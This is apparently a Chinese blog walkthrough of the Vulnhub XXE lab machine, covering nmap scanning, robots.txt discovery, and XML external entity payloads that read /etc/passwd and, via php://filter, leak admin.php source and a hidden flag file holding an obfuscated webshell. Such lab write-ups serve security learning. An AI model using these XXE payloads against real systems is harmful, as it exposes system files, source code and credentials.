zoukankan      html  css  js  c++  java
  • Vulnhub-XXE靶机

    1.主机发现

    nmap -sS 192.168.74.1/24
    
    • 就是192.168.74.158没错了,开放了80端口。

    xxe-1

    2.前期信息收集

    • 访问192.168.74.158,就是apache默认页。

    xxe-2

    • 御剑扫目录。

    xxe-3

    • 访问robots.txt。存在/xxe/路径,admin.php。

    xxe-4

    • ip/xxe为登录界面。

    xxe-5

    • admin.php在/xxe/目录下。ip/xxe/admin.php同样是登录界面。

    xxe-6

    3.靶机测试

    • 正常访问查看回显。
    POST /xxe/xxe.php HTTP/1.1
    Host: 192.168.74.158
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:67.0) Gecko/20100101 Firefox/67.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.74.158/xxe/
    Content-Type: text/plain;charset=UTF-8
    Content-Length: 93
    Connection: close
    
    <?xml version="1.0" encoding="UTF-8"?><root><name>admin</name><password>123</password></root>
    
    • 有回显。
    HTTP/1.1 200 OK
    Date: Mon, 27 May 2019 05:43:44 GMT
    Server: Apache/2.4.27 (Ubuntu)
    Content-Length: 32
    Connection: close
    Content-Type: text/html; charset=UTF-8
    
    Sorry, this admin not available!
    
    • 利用XXE漏洞进行文件读取。
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY admin SYSTEM "file:///etc/passwd">
    ]>
    <root><name>&admin;</name><password>1</password></root>
    

    xxe-7

    • 查看admin.php。
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
    ]>
    <root><name>&admin;</name><password>1</password></root>
    

    xxe-8

    • base64解密,源码分析,存在硬编码密码,登录密码用md5解密即可。

    xxe-9

    xxe-10

    • 登录admin.php。

    xxe-11

    • 点击链接,跳转至/xxe/flagmeout.php。
    • 显示是空白页,查看页面源代码。

    xxe-12

    • 先进行base32解密,再进行base64解密。
    • 可得/etc/.flag.php。

    xxe-13

    • 查看/etc/.flag.php。
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
    ]>
    <root><name>&admin;</name><password>1</password></root>
    
    • base64解密之后看着像无特征码的PHP Webshell。

    xxe-14

    • 保存至本地环境,命名为flag.php。前后分别添加上<?php ?>
    • 再访问flag.php可得flag。

    xxe-15

  • 相关阅读:
    memcached启动参数
    Shell 获取当前执行脚本的路径
    linux 下 openssl 编译和交叉编译
    网站更换域名
    linux访问windows共享文件夹
    linux下安装NPM管理工具
    快速构建C++项目工具Scons,结合Editplus搭建开发环境
    C++ Config 配置文件类
    iOS代码Button Demo
    (转)iOS面试题目
  • 原文地址:https://www.cnblogs.com/cijian9000/p/10999733.html
Copyright © 2011-2022 走看看